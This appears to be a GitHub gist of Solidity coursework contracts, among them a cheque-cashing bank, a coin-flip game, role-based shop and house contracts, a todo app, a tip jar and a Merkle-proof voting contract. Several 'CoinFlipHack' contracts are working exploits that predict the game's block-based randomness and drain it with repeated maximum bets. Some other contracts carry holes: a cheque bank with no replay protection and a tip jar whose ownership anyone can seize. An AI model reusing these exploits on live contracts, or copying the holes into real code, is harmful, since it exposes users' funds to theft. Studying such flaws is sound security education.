Skip to content

Instantly share code, notes, and snippets.

@sesameJar
Created June 6, 2019 17:39
Show Gist options
  • Save sesameJar/0a5d72f65c680327b3eef266e42639c2 to your computer and use it in GitHub Desktop.
Save sesameJar/0a5d72f65c680327b3eef266e42639c2 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.5.1+commit.c8a2cb62.js&optimize=false&gist=
pragma solidity ^0.5.0;
contract PersonalBank {
address owner;
mapping(bytes32 => bool) cheques;
constructor() public payable {
owner = msg.sender;
}
function() external payable {
}
function cashCheque(bytes32 chequeId, address payable to, uint256 amount,
bytes32 r, bytes32 s, uint8 v)
public {
require(!cheques[chequeId], "Cashed cheque");
bytes32 messageHash = keccak256(abi.encodePacked(this, chequeId, to, amount));
bytes32 messageHash2 = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32", messageHash
));
require(ecrecover(messageHash2, v, r, s) == owner, "bad signature");
cheques[chequeId] = true;
to.transfer(amount);
}
}
pragma solidity ^0.5.0;
contract CoinFlipGame {
constructor() public payable {
}
function bet() public payable {
require(msg.value <= maxBet(), "bet size too big");
if (generateRandomBit()) {
msg.sender.transfer(msg.value * 2);
}
}
function maxBet() public view returns(uint256) {
return address(this).balance / 10;
}
function generateRandomBit() private view returns(bool) {
// MODIFY ME to randomly return either true or false
if (now %2 ==0)return true;
else return false;
}
}
pragma solidity ^0.5.0;
interface CoinFlipGameInterface {
function bet() external payable;
function maxBet() external view returns(uint256);
}
contract CoinFlipHack {
constructor(address payable coinFliGame) public payable{
CoinFlipGameInterface coinFlipIF = CoinFlipGameInterface(coinFliGame);
if(generateRandomBit()) {
coinFlipIF.bet.value(coinFlipIF.maxBet())();
}
selfdestruct(msg.sender);
}
function generateRandomBit() private view returns(bool) {
// MODIFY ME to randomly return either true or false
if (now %2 ==0)return true;
else return false;
}
}
pragma solidity ^0.5.0;
interface CoinFlipGameInterface {
function bet() external payable;
function maxBet() external view returns(uint256);
}
contract CoinFlipHack {
constructor(address payable coinFliGame) public payable{
CoinFlipGameInterface coinFlipIF = CoinFlipGameInterface(coinFliGame);
if(generateRandomBit()) {
uint256 gasNeeded =2100;
while(gasleft() > 2100) {
coinFlipIF.bet.value(coinFlipIF.maxBet())();
}
}
selfdestruct(msg.sender);
}
function generateRandomBit() private view returns(bool) {
// MODIFY ME to randomly return either true or false
if (now %2 ==0)return true;
else return false;
}
}
pragma solidity ^0.5.0;
interface CoinFlipGameInterface {
function bet() external payable;
function maxBet() external view returns(uint256);
}
contract HackCoinFlipGame {
constructor(address payable coinFlipAddr) public payable {
if (generateRandomBit()) {
// make sure that there is enough gas to execute hacking method
uint256 minGasRequired = 30000;
while (gasleft() > minGasRequired) {
CoinFlipGameInterface coinFlip = CoinFlipGameInterface(coinFlipAddr);
uint256 maxBet = coinFlip.maxBet();
coinFlip.bet.value(maxBet)();
}
}
selfdestruct(msg.sender);
}
function generateRandomBit() private view returns(bool) {
uint256 maxInt255 = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bytes32 randomBytes = keccak256(abi.encode(block.number));
uint256 coinSide = uint256(randomBytes) / maxInt255;
return coinSide == 1 ? true : false;
}
}
pragma solidity ^0.5.0;
import "./ERC721.sol";
import "../../access/roles/MinterRole.sol";
/**
* @title ERC721Mintable
* @dev ERC721 minting logic.
*/
contract ERC721Mintable is ERC721, MinterRole {
/**
* @dev Function to mint tokens.
* @param to The address that will receive the minted tokens.
* @param tokenId The token id to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 tokenId) public onlyMinter returns (bool) {
_mint(to, tokenId);
return true;
}
}
pragma solidity 0.5.8;
contract houseOwner {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
}
interface iHomeState {
enum FrontDoorState {OPEN, CLOSED}
enum HealthState {CLEAN, DIRTY}
enum KitchenState {EMPTY,FULL }
enum WorkersStates {CLEANER, CHEF }
}
//abstract
contract House is houseOwner, iHomeState {
FrontDoorState frontDoor;
WorkersStates staffState;
HealthState cleaningState;
KitchenState needToOrder;
mapping (address => WorkersStates) staff;
modifier isChef() {
require(staff[msg.sender] == WorkersStates.CHEF );
_;
}
modifier isCleaner() {
require(staff[msg.sender] == WorkersStates.CLEANER );
_;
}
modifier isHomeLocked() {
require(frontDoor == FrontDoorState.CLOSED);
_;
}
function dirtyShop() public;
function order() public;
function hire(address _staff, uint Position) private onlyOwner {
staff[_staff ] = WorkersStates(Position);
}
}
contract houseControl is House {
function cleanHouse() public isCleaner {
cleaningState = HealthState.DIRTY;
}
function order() onlyOwner public{
needToOrder = KitchenState.EMPTY;
}
}
pragma solidity 0.5.8;
contract ShopOwner {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
}
interface iShopState {
enum ShopState {OPEN, CLOSED}
enum HealthState {CLEAN, DIRTY}
enum ShelvesState {EMPTY,FULL }
enum Positions {OWNER, MANAGER }
}
//abstract
contract Shop is ShopOwner, iShopState {
Positions position;
ShopState shopState;
HealthState cleaningState;
ShelvesState needToOrder;
mapping (address => Positions) staff;
modifier isManager() {
require(staff[msg.sender] == Positions.MANAGER );
_;
}
modifier isShopClose() {
require(shopState == ShopState.CLOSED);
_;
}
function dirtyShop() public;
function order() public;
function makeManager(address _staff) private onlyOwner {
staff[_staff ] = Positions.MANAGER;
}
}
contract manageShop is Shop {
function dirtyShop() public isManager {
cleaningState = HealthState.DIRTY;
}
function order() onlyOwner public{
needToOrder = ShelvesState.EMPTY;
}
}
pragma solidity 0.5.8;
contract Owner {
event OwnerChanged(address previouseOwner, address newOwner);
address private owner;
constructor (address _owner) public {
owner = _owner;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner (address newOwner) public onlyOwner {
owner = newOwner;
emit OwnerChanged(msg.sender, newOwner);
}
}
contract Vote is Owner {
enum VoteState {OPEN, PAUSED, CLOSED }
VoteState voteState;
function closeVote() public onlyOwner {
voteState = VoteState.CLOSED;
}
}
pragma solidity 0.5.8;
contract Lab3PersonalAccounting {
enum State {ZERO ,DEBTOR, CREDITOR}
State public currentState;
int256 public balance;
address owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "You are not authorized.");
_;
}
modifier isNotDebtor {
require(currentState != State.DEBTOR, "You have debt.");
_;
}
modifier isNotZero() {
require(currentState != State.ZERO, "Your balance is fine.");
_;
}
function askCredit(int256 amount) public isNotDebtor {
balance -= amount;
}
function payCredit(int256 amount) public isNotZero {
balance +=amount;
}
function changeState() public onlyOwner {
if( balance > 0) {
currentState = State.CREDITOR;
}
else if(balance < 0) {
currentState = State.DEBTOR;
}
else {
currentState = State.ZERO;
}
}
}
pragma solidity ^0.5.0;
contract PersonalBank {
address owner;
mapping(uint32 => bool) cashedCheques;
constructor() public payable {
owner = msg.sender;
}
function() external payable {
}
function cashCheque(address payable to, uint256 amount,
bytes32 r, bytes32 s, uint8 v)
public {
bytes32 messageHash = keccak256(abi.encodePacked(to, amount));
bytes32 messageHash2 = keccak256(abi.encodePacked(
"\x19Ethereum Signed Message:\n32", messageHash
));
require(ecrecover(messageHash2, v, r, s) == owner, "bad signature");
to.transfer(amount);
}
}
pragma solidity ^0.5.0;
contract tipJar {
address payable owner ;
constructor( ) public {
owner = msg.sender;
}
function () external payable {
}
modifier onlyOwner (){
require(msg.sender == owner);
_;
}
function transferOwnerShip(address payable newOwner) public {
require(newOwner!= address(0), "Wrong address bro!");
owner = newOwner;
}
function withDraw(uint256 tip) public onlyOwner {
// uint256 balance = address(this).balance;
tip = tip*1e18;
msg.sender.transfer(tip);
}
}
pragma solidity 0.5.8;
contract todoApp {
address public owner;
enum TasksStatus {DONE, OPEN, ARCHIVED}
event taskArchived(uint256 taskID, string todoContent);
uint256 public taskCounter;
uint256 public itemsInTasks;
uint256 balance;
struct Task {
uint256 id;
string todoTask;
TasksStatus taskStatus;
uint256 timeStamp;
}
mapping (uint => Task) public tasks;
mapping(uint => Task) public archivedTasks;
constructor() payable public{
owner = msg.sender;
balance = msg.value;
}
modifier onlyOwner(){
require(msg.sender == owner, "You are not authorized for this process.");
_;
}
modifier positiveCredit(){
require(balance > 4000 wei , "You need to at least put 2 Ethers in order to use this contract");
_;
}
function createTask(string memory _todoTask) public payable positiveCredit {
taskCounter++;
itemsInTasks++;
tasks[taskCounter] = Task(taskCounter, _todoTask, TasksStatus.OPEN, now);
balance -= 100;
}
function doneTask(uint256 _taskID) public onlyOwner {
tasks[_taskID].taskStatus = TasksStatus.DONE;
archiveTask(_taskID);
}
function archiveTask(uint256 _taskID) private onlyOwner {
tasks[_taskID].taskStatus = TasksStatus.ARCHIVED;
archivedTasks[_taskID] = Task(_taskID, tasks[_taskID].todoTask, tasks[_taskID].taskStatus, tasks[_taskID].timeStamp);
delete tasks[_taskID]; //
itemsInTasks--;
emit taskArchived(_taskID, tasks[_taskID].todoTask);
if(itemsInTasks == 0) {
endContract();
}
}
function endContract() payable public onlyOwner {
selfdestruct(msg.sender);
}
}
pragma solidity ^0.5.0;
contract Voting {
bytes32 eligibleVotersMerkleRoot;
mapping(address => bool) voted;
uint256 yesVotes;
uint256 noVotes;
constructor(bytes32 eligibleVotersMerkleRoot_) public {
eligibleVotersMerkleRoot = eligibleVotersMerkleRoot_;
}
function leafHash(address leaf) private pure returns(bytes32) {
return keccak256(abi.encodePacked(uint8(0x00), leaf));
}
function nodeHash(bytes32 left, bytes32 right) private pure returns(bytes32) {
return keccak256(abi.encodePacked(uint8(0x01), left, right));
}
function vote(uint256 path, bytes32[] memory witnesses, bool myVote) public {
require(!voted[msg.sender], "already voted");
voted[msg.sender] = true;
if (myVote) yesVotes++;
else noVotes++;
// EDIT ME: validate the proof!
bytes32 node;
node = leafHash(msg.sender);
for(uint32 i=0; i< witnesses.length; i++) {
if((path & 1)==1) {
node = nodeHash(witnesses[i], node);
}
else {
node = nodeHash(node, witnesses[i]);
}
path = path >>1;
}
require(eligibleVotersMerkleRoot == node, "Not Match");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment